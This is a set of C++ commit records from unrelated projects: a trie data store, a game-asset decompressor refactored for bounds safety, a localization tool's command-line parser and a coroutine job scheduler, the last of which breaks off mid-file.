fstring(path.string()).endsWith(\".nlt\")\n\t\t\t\t\t ? path.string()\n\t\t\t\t\t : path.string() + \".nlt\";\n\tm_store->save_mmap(fpath.c_str());\n}\n\n}}} \/\/ namespace nark::db::dfadb\n<commit_msg>Minor fix src\/nark\/db\/dfadb\/nlt_store.cpp<commit_after>#include \"nlt_store.hpp\"\n#include <typeinfo>\n\nnamespace nark { namespace db { namespace dfadb {\n\nNARK_DB_REGISTER_STORE(\"nlt\", NestLoudsTrieStore);\n\nNestLoudsTrieStore::NestLoudsTrieStore() {\n}\nNestLoudsTrieStore::~NestLoudsTrieStore() {\n}\n\nllong NestLoudsTrieStore::dataStorageSize() const {\n\treturn m_store->mem_size();\n}\n\nllong NestLoudsTrieStore::numDataRows() const {\n\treturn m_store->num_records();\n}\n\nvoid NestLoudsTrieStore::getValueAppend(llong id, valvec<byte>* val, DbContext* ctx) const {\n\tm_store->get_record_append(size_t(id), val);\n}\n\nStoreIterator* NestLoudsTrieStore::createStoreIterForward(DbContext*) const {\n\treturn nullptr; \/\/ not needed\n}\n\nStoreIterator* NestLoudsTrieStore::createStoreIterBackward(DbContext*) const {\n\treturn nullptr; \/\/ not needed\n}\n\nvoid NestLoudsTrieStore::build(SortableStrVec& strVec) {\n\tNestLoudsTrieConfig conf;\n\/\/\tconf.maxFragLen = 512;\n\tconf.initFromEnv();\n\tm_store.reset(new NestLoudsTrieDataStore_SE_512());\n\tm_store->build_from(strVec, conf);\n}\n\nvoid NestLoudsTrieStore::load(PathRef path) {\n\tstd::string fpath = fstring(path.string()).endsWith(\".nlt\")\n\t\t\t\t\t ? path.string()\n\t\t\t\t\t : path.string() + \".nlt\";\n\tstd::unique_ptr<BaseDFA> dfa(BaseDFA::load_mmap(fpath.c_str()));\n\tm_store.reset(dynamic_cast<NestLoudsTrieDataStore_SE_512*>(dfa.get()));\n\tif (m_store) {\n\t\tdfa.release();\n\t}\n\telse {\n\t\tTHROW_STD(invalid_argument\n\t\t\t, \"FATAL: file: %s is %s, not a NestLoudsTrieDataStore_SE_512\"\n\t\t\t, typeid(*dfa).name(), fpath.c_str());\n\t}\n}\n\nvoid NestLoudsTrieStore::save(PathRef path) const {\n\tstd::string fpath = fstring(path.string()).endsWith(\".nlt\")\n\t\t\t\t\t ? path.string()\n\t\t\t\t\t : path.string() + \".nlt\";\n\tm_store->save_mmap(fpath.c_str());\n}\n\n}}} \/\/ namespace nark::db::dfadb\n<|endoftext|>"} {"text":"<commit_before>#include \"oddlib\/compressiontype2.hpp\"\n#include \"oddlib\/stream.hpp\"\n#include \"logger.hpp\"\n\nnamespace Oddlib\n{\n static bool ExpandElement(Sint32& remainingCount, Uint8*& src, Uint32*& dst)\n {\n if (!remainingCount)\n {\n return false;\n }\n const Sint32 src_word = *src | (*(Uint16 *)(src + 1) << 8);\n ++dst;\n src += 3;\n remainingCount--;\n *(dst - 1) = 4 * (Uint16)src_word & 0x3F00 | src_word & 0x3F | 16 * src_word & 0x3F0000 | 4 * (16 * src_word & 0xFC00000);\n\n return true;\n }\n\n \/\/ Function 0x0040AA50 in AE\n std::vector<Uint8> CompressionType2::Decompress(IStream& stream, Uint32 finalW, Uint32 \/*w*\/, Uint32 h, Uint32 dataSize)\n {\n std::vector<Uint8> ret(finalW*h);\n\n std::vector<Uint8> s(dataSize);\n stream.ReadBytes(s.data(), s.size());\n\n Sint32 dwords_left = dataSize \/ 4;\n Sint32 remainder = dataSize % 4;\n\n Uint32 *dst = (Uint32*)ret.data();\n Uint8 *src = s.data();\n\n if (dwords_left > 0)\n {\n dst = (Uint32*)ret.data();\n src = s.data();\n do\n {\n for (int i = 0; i < 4; i++)\n {\n if (!ExpandElement(dwords_left, src, dst))\n {\n break;\n }\n }\n } while (dwords_left);\n }\n\n while (remainder)\n {\n remainder--;\n *(Uint8 *)dst = *src;\n dst = (Uint32 *)((char *)dst + 1);\n ++src;\n }\n\n return ret;\n }\n}\n<commit_msg>refactor for bounds saftey<commit_after>#include \"oddlib\/compressiontype2.hpp\"\n#include \"oddlib\/stream.hpp\"\n#include \"logger.hpp\"\n\nnamespace Oddlib\n{\n static bool Expand3To4Bytes(Sint32& remainingCount, IStream& stream, std::vector<Uint8>& ret, Uint32& dstPos)\n {\n if (!remainingCount)\n {\n return false;\n }\n const Sint32 src3Bytes = ReadUInt8(stream) | (ReadUint16(stream) << 8);\n remainingCount--;\n\n \/\/ TODO: Should write each byte by itself\n const Uint32 value = 4 * (Uint16)src3Bytes & 0x3F00 | src3Bytes & 0x3F | 16 * src3Bytes & 0x3F0000 | 4 * (16 * src3Bytes & 0xFC00000);\n *reinterpret_cast<Uint32*>(&ret[dstPos]) = value;\n dstPos += 4;\n\n return true;\n }\n\n \/\/ Function 0x0040AA50 in AE\n std::vector<Uint8> CompressionType2::Decompress(IStream& stream, Uint32 finalW, Uint32 \/*w*\/, Uint32 h, Uint32 dataSize)\n {\n std::vector<Uint8> ret(finalW*h);\n\n Sint32 dwords_left = dataSize \/ 4;\n Sint32 remainder = dataSize % 4;\n\n Uint32 dstPos = 0;\n if (dwords_left > 0)\n {\n do\n {\n for (int i = 0; i < 4; i++)\n {\n if (!Expand3To4Bytes(dwords_left, stream, ret, dstPos))\n {\n break;\n }\n }\n } while (dwords_left);\n }\n\n \/\/ TODO: Branch not tested\n while (remainder)\n {\n remainder--;\n ret[dstPos++] = ReadUInt8(stream);\n }\n\n return ret;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\n#include <vector>\n#include <string>\n\nusing namespace std;\n\nnamespace L10ns {\n\nenum class ActionKind {\n None,\n Init,\n Update,\n Log,\n Set,\n};\n\nenum class FlagKind {\n None,\n Help,\n Version,\n Language,\n Key,\n Value,\n};\n\nstruct Argument {\n string * name;\n string * description;\n\n Argument(string * pname, string * pdescription) {\n name = pname;\n description = pdescription;\n }\n};\n\nstruct Flag : Argument {\n string * alias;\n bool hasValue;\n FlagKind kind;\n string value;\n\n Flag(FlagKind pkind, const char pname[], const char palias[], const char pdescription[], bool phasValue)\n : kind(pkind), Argument(new string(pname), new string(pdescription)), alias(new string(palias)) {\n\n hasValue = phasValue;\n value = \"\";\n }\n};\n\nstruct Action : Argument {\n vector<Flag> * flags;\n ActionKind kind;\n\n Action(ActionKind pkind, const char pname[], const char pdescription[], vector<Flag> * pflags)\n : kind(pkind), Argument(new string(pname), new string(pdescription)) {\n\n if (pflags != NULL) {\n flags = pflags;\n }\n }\n};\n\nstatic Flag helpFlag = Flag(FlagKind::Help, \"--help\", \"-h\", \"Print help description.\", \/*hasValue*\/ false);\nstatic Flag languageFlag = Flag(FlagKind::Language, \"--language\", \"-l\", \"Specify language.\", false);\n\nstatic vector<Flag> defaultFlags = {\n helpFlag,\n Flag(FlagKind::Version, \"--version\", \"-v\", \"Print current version.\", \/*hasValue*\/ false),\n};\n\nstatic vector<Flag> helpFlags = {\n helpFlag,\n};\n\nstatic vector<Flag> setFlags = {\n Flag(FlagKind::Key, \"--key\", \"-k\", \"Specify localization key.\", \/*hasValue*\/ true),\n Flag(FlagKind::Value, \"--value\", \"-v\", \"Specify localization value.\", \/*hasValue*\/ true),\n languageFlag,\n helpFlag,\n};\n\nstatic vector<Flag> logFlags = {\n languageFlag,\n helpFlag,\n};\n\nstatic vector<Action> actions = {\n Action(ActionKind::Init, \"init\", \"Initialize project.\", &helpFlags),\n Action(ActionKind::Update, \"update\", \"Update localization keys.\", &helpFlags),\n Action(ActionKind::Log, \"log\", \"Show latest added localizations.\", &logFlags),\n Action(ActionKind::Set, \"set\", \"Set localization.\", &setFlags),\n};\n\nstruct Command {\n bool isRequestingHelp;\n bool isRequestingVersion;\n ActionKind action;\n vector<Flag> * flags;\n\n Command()\n : isRequestingHelp(false)\n , isRequestingVersion(false)\n , action(ActionKind::None)\n , flags(&defaultFlags) {\n\n }\n};\n\nvoid setCommandFlag(Command *command, const Flag *flag, char *value = NULL) {\n switch (flag->kind) {\n case FlagKind::Help:\n command->isRequestingHelp = true;\n return;\n case FlagKind::Version:\n command->isRequestingVersion = true;\n return;\n default:\n return;\n }\n}\n\nCommand* parseCommandArguments(int argc, char* argv[]) {\n Command * command = new Command();\n\n \/\/ Flag to optimize has action parsing.\n bool hasAction = false;\n\n \/\/ The option flag that is pending for a value.\n const Flag * flagWhichAwaitsValue = NULL;\n\n for (int argIndex = 1; argIndex < argc; argIndex++) {\n auto arg = argv[argIndex];\n if (!hasAction) {\n for (auto const& a : actions) {\n if (strcmp(a.name->c_str(), arg) == 0) {\n command->action = a.kind;\n hasAction = true;\n command->flags = a.flags;\n break;\n }\n }\n }\n\n if (flagWhichAwaitsValue == NULL) {\n for (auto const& flag : *command->flags) {\n if (strcmp(flag.name->c_str(), arg) == 0 || (flag.alias->length() != 0 && strcmp(flag.name->c_str(), arg) == 0)) {\n if (flag.hasValue) {\n flagWhichAwaitsValue = &flag;\n }\n setCommandFlag(command, &flag);\n break;\n }\n }\n }\n else {\n setCommandFlag(command, flagWhichAwaitsValue, arg);\n flagWhichAwaitsValue = NULL;\n continue;\n }\n }\n\n return command;\n}\n\n} \/\/ L10ns\n<commit_msg>Removes short alias of version<commit_after>\n#include <vector>\n#include <string>\n\nusing namespace std;\n\nnamespace L10ns {\n\nenum class ActionKind {\n None,\n Init,\n Update,\n Log,\n Set,\n};\n\nenum class FlagKind {\n None,\n Help,\n Version,\n Language,\n Key,\n Value,\n};\n\nstruct Argument {\n string * name;\n string * description;\n\n Argument(string * pname, string * pdescription) {\n name = pname;\n description = pdescription;\n }\n};\n\nstruct Flag : Argument {\n string * alias;\n bool hasValue;\n FlagKind kind;\n string value;\n\n Flag(FlagKind pkind, const char pname[], const char palias[], const char pdescription[], bool phasValue)\n : kind(pkind), Argument(new string(pname), new string(pdescription)), alias(new string(palias)) {\n\n hasValue = phasValue;\n value = \"\";\n }\n};\n\nstruct Action : Argument {\n vector<Flag> * flags;\n ActionKind kind;\n\n Action(ActionKind pkind, const char pname[], const char pdescription[], vector<Flag> * pflags)\n : kind(pkind), Argument(new string(pname), new string(pdescription)) {\n\n if (pflags != NULL) {\n flags = pflags;\n }\n }\n};\n\nstatic Flag helpFlag = Flag(FlagKind::Help, \"--help\", \"-h\", \"Print help description.\", \/*hasValue*\/ false);\nstatic Flag languageFlag = Flag(FlagKind::Language, \"--language\", \"-l\", \"Specify language.\", false);\n\nstatic vector<Flag> defaultFlags = {\n helpFlag,\n Flag(FlagKind::Version, \"--version\", \"\", \"Print current version.\", \/*hasValue*\/ false),\n};\n\nstatic vector<Flag> helpFlags = {\n helpFlag,\n};\n\nstatic vector<Flag> setFlags = {\n Flag(FlagKind::Key, \"--key\", \"-k\", \"Specify localization key.\", \/*hasValue*\/ true),\n Flag(FlagKind::Value, \"--value\", \"-v\", \"Specify localization value.\", \/*hasValue*\/ true),\n languageFlag,\n helpFlag,\n};\n\nstatic vector<Flag> logFlags = {\n languageFlag,\n helpFlag,\n};\n\nstatic vector<Action> actions = {\n Action(ActionKind::Init, \"init\", \"Initialize project.\", &helpFlags),\n Action(ActionKind::Update, \"update\", \"Update localization keys.\", &helpFlags),\n Action(ActionKind::Log, \"log\", \"Show latest added localizations.\", &logFlags),\n Action(ActionKind::Set, \"set\", \"Set localization.\", &setFlags),\n};\n\nstruct Command {\n bool isRequestingHelp;\n bool isRequestingVersion;\n ActionKind action;\n vector<Flag> * flags;\n\n Command()\n : isRequestingHelp(false)\n , isRequestingVersion(false)\n , action(ActionKind::None)\n , flags(&defaultFlags) {\n\n }\n};\n\nvoid setCommandFlag(Command *command, const Flag *flag, char *value = NULL) {\n switch (flag->kind) {\n case FlagKind::Help:\n command->isRequestingHelp = true;\n return;\n case FlagKind::Version:\n command->isRequestingVersion = true;\n return;\n default:\n return;\n }\n}\n\nCommand* parseCommandArguments(int argc, char* argv[]) {\n Command * command = new Command();\n\n \/\/ Flag to optimize has action parsing.\n bool hasAction = false;\n\n \/\/ The option flag that is pending for a value.\n const Flag * flagWhichAwaitsValue = NULL;\n\n for (int argIndex = 1; argIndex < argc; argIndex++) {\n auto arg = argv[argIndex];\n if (!hasAction) {\n for (auto const& a : actions) {\n if (strcmp(a.name->c_str(), arg) == 0) {\n command->action = a.kind;\n hasAction = true;\n command->flags = a.flags;\n break;\n }\n }\n }\n\n if (flagWhichAwaitsValue == NULL) {\n for (auto const& flag : *command->flags) {\n if (strcmp(flag.name->c_str(), arg) == 0 || (flag.alias->length() != 0 && strcmp(flag.name->c_str(), arg) == 0)) {\n if (flag.hasValue) {\n flagWhichAwaitsValue = &flag;\n }\n setCommandFlag(command, &flag);\n break;\n }\n }\n }\n else {\n setCommandFlag(command, flagWhichAwaitsValue, arg);\n flagWhichAwaitsValue = NULL;\n continue;\n }\n }\n\n return command;\n}\n\n} \/\/ L10ns\n<|endoftext|>"} {"text":"<commit_before>\n#include <vector>\n#include <string>\n\nusing namespace std;\n\nnamespace L10ns {\n\nenum class ActionKind {\n None,\n Init,\n Update,\n Log,\n Set,\n};\n\nenum class FlagKind {\n None,\n Help,\n Version,\n Language,\n Key,\n Value,\n};\n\nstruct Argument {\n string * name;\n string * description;\n\n Argument(string * pname, string * pdescription) {\n name = pname;\n description = pdescription;\n }\n};\n\nstruct Flag : Argument {\n string * alias;\n bool hasValue;\n FlagKind kind;\n string value;\n\n Flag(FlagKind pkind, const char pname[], const char palias[], const char pdescription[], bool phasValue)\n : kind(pkind), Argument(new string(pname), new string(pdescription)), alias(new string(palias)) {\n\n hasValue = phasValue;\n value = \"\";\n }\n};\n\nstruct Action : Argument {\n vector<Flag> * flags;\n ActionKind kind;\n string * info;\n\n Action(ActionKind pkind, const char pname[], const char pdescription[], const char pinfo[],vector<Flag> * pflags)\n : kind(pkind), Argument(new string(pname), new string(pdescription)), info(new string(pinfo)) {\n\n if (pflags != NULL) {\n flags = pflags;\n }\n }\n};\n\nstatic Flag helpFlag = Flag(FlagKind::Help, \"--help\", \"-h\", \"Print help description.\", \/*hasValue*\/ false);\nstatic Flag languageFlag = Flag(FlagKind::Language, \"--language\", \"-l\", \"Specify language.\", false);\n\nstatic vector<Flag> defaultFlags = {\n helpFlag,\n Flag(FlagKind::Version, \"--version\", \"\", \"Print current version.\", \/*hasValue*\/ false),\n};\n\nstatic vector<Flag> helpFlags = {\n helpFlag,\n};\n\nstatic vector<Flag> setFlags = {\n Flag(FlagKind::Key, \"--key\", \"-k\", \"Specify localization key.\", \/*hasValue*\/ true),\n Flag(FlagKind::Value, \"--value\", \"-v\", \"Specify localization value.\", \/*hasValue*\/ true),\n languageFlag,\n helpFlag,\n};\n\nstatic vector<Flag> logFlags = {\n languageFlag,\n helpFlag,\n};\n\nstatic const char * initInfo =\n \"Initialize a L10ns project. This command creates on 'l10ns.json' \"\n \"file, with sane default options applied.\";\n\nstatic const char * updateInfo =\n \"Initialize a L10ns project. This command creates on 'l10ns.json' \"\n \"file, with sane default options applied.\";\n\nstatic const char * logInfo =\n \"Initialize a L10ns project. This command creates on 'l10ns.json' \"\n \"file, with sane default options applied.\";\n\nstatic const char * setInfo =\n \"Initialize a L10ns project. This command creates on 'l10ns.json' \"\n \"file, with sane default options applied.\";\n\n\nstatic vector<Action> actions = {\n Action(ActionKind::Init, \"init\", \"Initialize project.\", initInfo, &helpFlags),\n Action(ActionKind::Update, \"update\", \"Update localization keys.\", updateInfo, &helpFlags),\n Action(ActionKind::Log, \"log\", \"Show latest added localizations.\", logInfo, &logFlags),\n Action(ActionKind::Set, \"set\", \"Set localization.\", setInfo, &setFlags),\n};\n\nstruct Command {\n bool isRequestingHelp;\n bool isRequestingVersion;\n ActionKind action;\n vector<Flag> * flags;\n\n Command()\n : isRequestingHelp(false)\n , isRequestingVersion(false)\n , action(ActionKind::None)\n , flags(&defaultFlags) {\n\n }\n};\n\nvoid setCommandFlag(Command *command, const Flag *flag, char *value = NULL) {\n switch (flag->kind) {\n case FlagKind::Help:\n command->isRequestingHelp = true;\n return;\n case FlagKind::Version:\n command->isRequestingVersion = true;\n return;\n default:\n return;\n }\n}\n\nCommand* parseCommandArguments(int argc, char* argv[]) {\n Command * command = new Command();\n\n \/\/ Flag to optimize has action parsing.\n bool hasAction = false;\n\n \/\/ The option flag that is pending for a value.\n const Flag * flagWhichAwaitsValue = NULL;\n\n for (int argIndex = 1; argIndex < argc; argIndex++) {\n auto arg = argv[argIndex];\n if (!hasAction) {\n for (auto const& a : actions) {\n if (strcmp(a.name->c_str(), arg) == 0) {\n command->action = a.kind;\n hasAction = true;\n command->flags = a.flags;\n break;\n }\n }\n }\n\n if (flagWhichAwaitsValue == NULL) {\n for (auto const& flag : *command->flags) {\n if (strcmp(flag.name->c_str(), arg) == 0 || (flag.alias->length() != 0 && strcmp(flag.name->c_str(), arg) == 0)) {\n if (flag.hasValue) {\n flagWhichAwaitsValue = &flag;\n }\n setCommandFlag(command, &flag);\n break;\n }\n }\n }\n else {\n setCommandFlag(command, flagWhichAwaitsValue, arg);\n flagWhichAwaitsValue = NULL;\n continue;\n }\n }\n\n return command;\n}\n\n} \/\/ L10ns\n<commit_msg>Fixes info<commit_after>\n#include <vector>\n#include <string>\n\nusing namespace std;\n\nnamespace L10ns {\n\nenum class ActionKind {\n None,\n Init,\n Update,\n Log,\n Set,\n};\n\nenum class FlagKind {\n None,\n Help,\n Version,\n Language,\n Key,\n Value,\n};\n\nstruct Argument {\n string * name;\n string * description;\n\n Argument(string * pname, string * pdescription) {\n name = pname;\n description = pdescription;\n }\n};\n\nstruct Flag : Argument {\n string * alias;\n bool hasValue;\n FlagKind kind;\n string value;\n\n Flag(FlagKind pkind, const char pname[], const char palias[], const char pdescription[], bool phasValue)\n : kind(pkind), Argument(new string(pname), new string(pdescription)), alias(new string(palias)) {\n\n hasValue = phasValue;\n value = \"\";\n }\n};\n\nstruct Action : Argument {\n vector<Flag> * flags;\n ActionKind kind;\n string * info;\n\n Action(ActionKind pkind, const char pname[], const char pdescription[], const char pinfo[],vector<Flag> * pflags)\n : kind(pkind), Argument(new string(pname), new string(pdescription)), info(new string(pinfo)) {\n\n if (pflags != NULL) {\n flags = pflags;\n }\n }\n};\n\nstatic Flag helpFlag = Flag(FlagKind::Help, \"--help\", \"-h\", \"Print help description.\", \/*hasValue*\/ false);\nstatic Flag languageFlag = Flag(FlagKind::Language, \"--language\", \"-l\", \"Specify language.\", false);\n\nstatic vector<Flag> defaultFlags = {\n helpFlag,\n Flag(FlagKind::Version, \"--version\", \"\", \"Print current version.\", \/*hasValue*\/ false),\n};\n\nstatic vector<Flag> helpFlags = {\n helpFlag,\n};\n\nstatic vector<Flag> setFlags = {\n Flag(FlagKind::Key, \"--key\", \"-k\", \"Specify localization key.\", \/*hasValue*\/ true),\n Flag(FlagKind::Value, \"--value\", \"-v\", \"Specify localization value.\", \/*hasValue*\/ true),\n languageFlag,\n helpFlag,\n};\n\nstatic vector<Flag> logFlags = {\n languageFlag,\n helpFlag,\n};\n\nstatic const char * initInfo =\n \"Initialize a L10ns project. This command creates on 'l10ns.json' \"\n \"file, with sane default options applied.\";\n\nstatic const char * updateInfo =\n \"Synchronize your keys between source code and storage.\";\n\nstatic const char * logInfo =\n \"Show latest localizations.\";\n\nstatic const char * setInfo =\n \"Set new localizations.\";\n\nstatic vector<Action> actions = {\n Action(ActionKind::Init, \"init\", \"Initialize project.\", initInfo, &helpFlags),\n Action(ActionKind::Update, \"update\", \"Update localization keys.\", updateInfo, &helpFlags),\n Action(ActionKind::Log, \"log\", \"Show latest added localizations.\", logInfo, &logFlags),\n Action(ActionKind::Set, \"set\", \"Set localization.\", setInfo, &setFlags),\n};\n\nstruct Command {\n bool isRequestingHelp;\n bool isRequestingVersion;\n ActionKind action;\n vector<Flag> * flags;\n\n Command()\n : isRequestingHelp(false)\n , isRequestingVersion(false)\n , action(ActionKind::None)\n , flags(&defaultFlags) {\n\n }\n};\n\nvoid setCommandFlag(Command *command, const Flag *flag, char *value = NULL) {\n switch (flag->kind) {\n case FlagKind::Help:\n command->isRequestingHelp = true;\n return;\n case FlagKind::Version:\n command->isRequestingVersion = true;\n return;\n default:\n return;\n }\n}\n\nCommand* parseCommandArguments(int argc, char* argv[]) {\n Command * command = new Command();\n\n \/\/ Flag to optimize has action parsing.\n bool hasAction = false;\n\n \/\/ The option flag that is pending for a value.\n const Flag * flagWhichAwaitsValue = NULL;\n\n for (int argIndex = 1; argIndex < argc; argIndex++) {\n auto arg = argv[argIndex];\n if (!hasAction) {\n for (auto const& a : actions) {\n if (strcmp(a.name->c_str(), arg) == 0) {\n command->action = a.kind;\n hasAction = true;\n command->flags = a.flags;\n break;\n }\n }\n }\n\n if (flagWhichAwaitsValue == NULL) {\n for (auto const& flag : *command->flags) {\n if (strcmp(flag.name->c_str(), arg) == 0 || (flag.alias->length() != 0 && strcmp(flag.name->c_str(), arg) == 0)) {\n if (flag.hasValue) {\n flagWhichAwaitsValue = &flag;\n }\n setCommandFlag(command, &flag);\n break;\n }\n }\n }\n else {\n setCommandFlag(command, flagWhichAwaitsValue, arg);\n flagWhichAwaitsValue = NULL;\n continue;\n }\n }\n\n return command;\n}\n\n} \/\/ L10ns\n<|endoftext|>"} {"text":"<commit_before>\/**\n ** \\file scheduler\/scheduler.cc\n ** \\brief Implementation of scheduler::Scheduler.\n *\/\n\n\/\/#define ENABLE_DEBUG_TRACES\n\n#include <cassert>\n#include <cstdlib>\n\n#include <libport\/compiler.hh>\n#include <libport\/containers.hh>\n#include <libport\/foreach.hh>\n\n#include \"kernel\/userver.hh\"\n\n#include \"object\/urbi-exception.hh\"\n\n#include \"scheduler\/scheduler.hh\"\n#include \"scheduler\/job.hh\"\n\nnamespace scheduler\n{\n\n \/\/ This function is required to start a new job using the libcoroutine.\n \/\/ Its only purpose is to create the context and start the execution\n \/\/ of the new job.\n static void\n run_job (void* job)\n {\n static_cast<Job*>(job)->run();\n }\n\n void\n Scheduler::add_job (Job* job)\n {\n assert (job);\n assert (!libport::has (jobs_, job));\n assert (!libport::has (jobs_to_start_, job));\n jobs_to_start_.push_back (job);\n }\n\n libport::utime_t\n Scheduler::work ()\n {\n#ifdef ENABLE_DEBUG_TRACES\n static int cycle = 0;\n#endif\n ECHO (\"======================================================== cycle \"\n\t << ++cycle);\n\n \/\/ Start new jobs. You may note that to_kill_ is reset at the beginning\n \/\/ of each loop and one final time at the end. This is to ensure that\n \/\/ we are not trying to clear the job on which we are iterating (it\n \/\/ may only be set to a reference onto the latest scheduled job).\n to_start_.clear ();\n std::swap (to_start_, jobs_to_start_);\n foreach (Job* job, to_start_)\n {\n to_kill_ = 0;\n assert (job);\n ECHO (\"will start job \" << *job);\n \/\/ Job will start for a very short time and do a yield_front() to\n \/\/ be restarted below in the course of the regular cycle.\n assert (!current_job_);\n current_job_ = job;\n Coro_startCoro_ (self_, job->coro_get(), job, run_job);\n \/\/ We have to assume that a new job may have had side-effects.\n possible_side_effect_ = true;\n }\n\n \/\/ Start deferred jobs\n for (libport::utime_t current_time = ::urbiserver->getTime ();\n\t !deferred_jobs_.empty();\n\t deferred_jobs_.pop ())\n {\n deferred_job j = deferred_jobs_.top ();\n if (current_time < j.get<0>())\n\tbreak;\n jobs_.push_back (j.get<1> ());\n }\n\n \/\/ If something is going to happen, or if we have just started a\n \/\/ new job, add the list of jobs waiting for something to happen\n \/\/ on the pending jobs queue.\n if (!if_change_jobs_.empty() && (possible_side_effect_ || !jobs_.empty()))\n {\n foreach (Job* job, if_change_jobs_)\n\tjobs_.push_back (job);\n if_change_jobs_.clear ();\n }\n\n \/\/ Run all the jobs in the run queue once. If any job declares upon entry or\n \/\/ return that it is not side-effect free, we remember that for the next\n \/\/ cycle.\n possible_side_effect_ = false;\n pending_.clear ();\n std::swap (pending_, jobs_);\n\n ECHO (pending_.size() << \" jobs in the queue for this cycle\");\n foreach (Job* job, pending_)\n {\n \/\/ Kill a job if needed. See explanation in job.hh.\n to_kill_ = 0;\n\n assert (job);\n assert (!job->terminated ());\n ECHO (\"will resume job \" << *job << (job->side_effect_free_get() ? \" (side-effect free)\" : \"\"));\n possible_side_effect_ |= !job->side_effect_free_get ();\n assert (!current_job_);\n Coro_switchTo_ (self_, job->coro_get ());\n assert (!current_job_);\n possible_side_effect_ |= !job->side_effect_free_get ();\n ECHO (\"back from job \" << *job << (job->side_effect_free_get() ? \" (side-effect free)\" : \"\"));\n }\n \/\/ Kill a job if needed. See explanation in job.hh.\n to_kill_ = 0;\n\n \/\/ Do we have some work to do now?\n if (!jobs_.empty () || !jobs_to_start_.empty())\n {\n ECHO (\"scheduler: asking to be recalled ASAP, \" << jobs_.size() << \" jobs ready and \" << jobs_to_start_.size()\n\t << \" to start\");\n return 0;\n }\n\n \/\/ Do we have deferred jobs?\n if (!deferred_jobs_.empty ())\n {\n ECHO (\"scheduler: asking to be recalled later\");\n return deferred_jobs_.top ().get<0> ();\n }\n\n \/\/ Ok, let's say, we'll be called again in one hour.\n ECHO (\"scheduler: asking to be recalled in a long time\");\n return ::urbiserver->getTime() + 3600000000LL;\n }\n\n void\n Scheduler::switch_back (Job* job)\n {\n \/\/ Switch back to the scheduler.\n assert (current_job_ == job);\n current_job_ = 0;\n Coro_switchTo_ (job->coro_get (), self_);\n \/\/ We regained control, we are again in the context of the job.\n assert (!current_job_);\n current_job_ = job;\n ECHO (\"job \" << *job << \" resumed\");\n \/\/ Check that we are not near exhausting the stack space.\n job->check_stack_space ();\n \/\/ Execute a deferred exception if any\n job->check_for_pending_exception ();\n }\n\n void\n Scheduler::resume_scheduler (Job* job)\n {\n \/\/ If the job has not terminated, put it at the back of the run queue\n \/\/ so that the run queue order is preserved between work cycles.\n if (!job->terminated ())\n jobs_.push_back (job);\n ECHO (*job << \" has \" << (job->terminated () ? \"\" : \"not \") << \"terminated\");\n switch_back (job);\n }\n\n void\n Scheduler::resume_scheduler_front (Job* job)\n {\n \/\/ Put the job in front of the queue. If the job asks to be requeued,\n \/\/ it is not terminated.\n assert (!job->terminated ());\n jobs_.push_front (job);\n switch_back (job);\n }\n\n void\n Scheduler::resume_scheduler_until (Job* job, libport::utime_t deadline)\n {\n \/\/ Put the job in the deferred queue. If the job asks to be requeued,\n \/\/ it is not terminated.\n assert (!job->terminated ());\n deferred_jobs_.push (boost::make_tuple (deadline, job));\n switch_back (job);\n }\n\n void\n Scheduler::resume_scheduler_suspend (Job* job)\n {\n suspended_jobs_.push_back (job);\n switch_back (job);\n }\n\n void\n Scheduler::resume_scheduler_things_changed (Job* job)\n {\n if_change_jobs_.push_back (job);\n switch_back (job);\n }\n\n void\n Scheduler::resume_job (Job* job)\n {\n \/\/ Suspended job may have been killed externally, in which case it\n \/\/ will not appear in the list of suspended jobs.\n\n if (libport::has (suspended_jobs_, job))\n {\n jobs_.push_back (job);\n suspended_jobs_.remove (job);\n }\n }\n\n void\n Scheduler::killall_jobs ()\n {\n ECHO (\"killing all jobs!\");\n\n \/\/ This implementation is quite inefficient because it will call\n \/\/ kill_job() for each job. But who cares? We are killing everyone\n \/\/ anyway.\n\n while (!jobs_to_start_.empty ())\n jobs_to_start_.pop_front ();\n\n while (!suspended_jobs_.empty ())\n kill_job (suspended_jobs_.front ());\n\n while (!if_change_jobs_.empty ())\n kill_job (if_change_jobs_.front ());\n\n while (!jobs_.empty ())\n kill_job (jobs_.front ());\n\n while (!deferred_jobs_.empty ())\n kill_job (deferred_jobs_.top ().get<1>());\n }\n\n void\n Scheduler::unschedule_job (Job* job)\n {\n assert (job);\n assert (job != current_job_);\n\n ECHO (\"unscheduling job \" << *job);\n\n \/\/ Remove the job from the queues where it could be stored.\n jobs_to_start_.remove (job);\n jobs_.remove (job);\n suspended_jobs_.remove (job);\n if_change_jobs_.remove (job);\n\n \/\/ Remove it from live queues as well if the job is destroyed.\n to_start_.remove (job);\n pending_.remove (job);\n\n \/\/ We have no remove() on a priority queue, regenerate a queue without\n \/\/ this job.\n {\n deferred_jobs old_deferred;\n std::swap (old_deferred, deferred_jobs_);\n while (!old_deferred.empty ())\n {\n\tdeferred_job j = old_deferred.top ();\n\told_deferred.pop ();\n\tif (j.get<1>() != job)\n\t deferred_jobs_.push (j);\n }\n }\n }\n\n void\n Scheduler::kill_job (Job* job)\n {\n assert (job != current_job_);\n\n ECHO (\"deleting job \" << *job);\n delete job;\n }\n\n bool operator> (const deferred_job& left, const deferred_job& right)\n {\n return left.get<0>() > right.get<0>();\n }\n\n} \/\/ namespace scheduler\n<commit_msg>Do not yield() on side-effect-free jobs<commit_after>\/**\n ** \\file scheduler\/scheduler.cc\n ** \\brief Implementation of scheduler::Scheduler.\n *\/\n\n\/\/#define ENABLE_DEBUG_TRACES\n\n#include <cassert>\n#include <cstdlib>\n\n#include <libport\/compiler.hh>\n#include <libport\/containers.hh>\n#include <libport\/foreach.hh>\n\n#include \"kernel\/userver.hh\"\n\n#include \"object\/urbi-exception.hh\"\n\n#include \"scheduler\/scheduler.hh\"\n#include \"scheduler\/job.hh\"\n\nnamespace scheduler\n{\n\n \/\/ This function is required to start a new job using the libcoroutine.\n \/\/ Its only purpose is to create the context and start the execution\n \/\/ of the new job.\n static void\n run_job (void* job)\n {\n static_cast<Job*>(job)->run();\n }\n\n void\n Scheduler::add_job (Job* job)\n {\n assert (job);\n assert (!libport::has (jobs_, job));\n assert (!libport::has (jobs_to_start_, job));\n jobs_to_start_.push_back (job);\n }\n\n libport::utime_t\n Scheduler::work ()\n {\n#ifdef ENABLE_DEBUG_TRACES\n static int cycle = 0;\n#endif\n ECHO (\"======================================================== cycle \"\n\t << ++cycle);\n\n \/\/ Start new jobs. You may note that to_kill_ is reset at the beginning\n \/\/ of each loop and one final time at the end. This is to ensure that\n \/\/ we are not trying to clear the job on which we are iterating (it\n \/\/ may only be set to a reference onto the latest scheduled job).\n 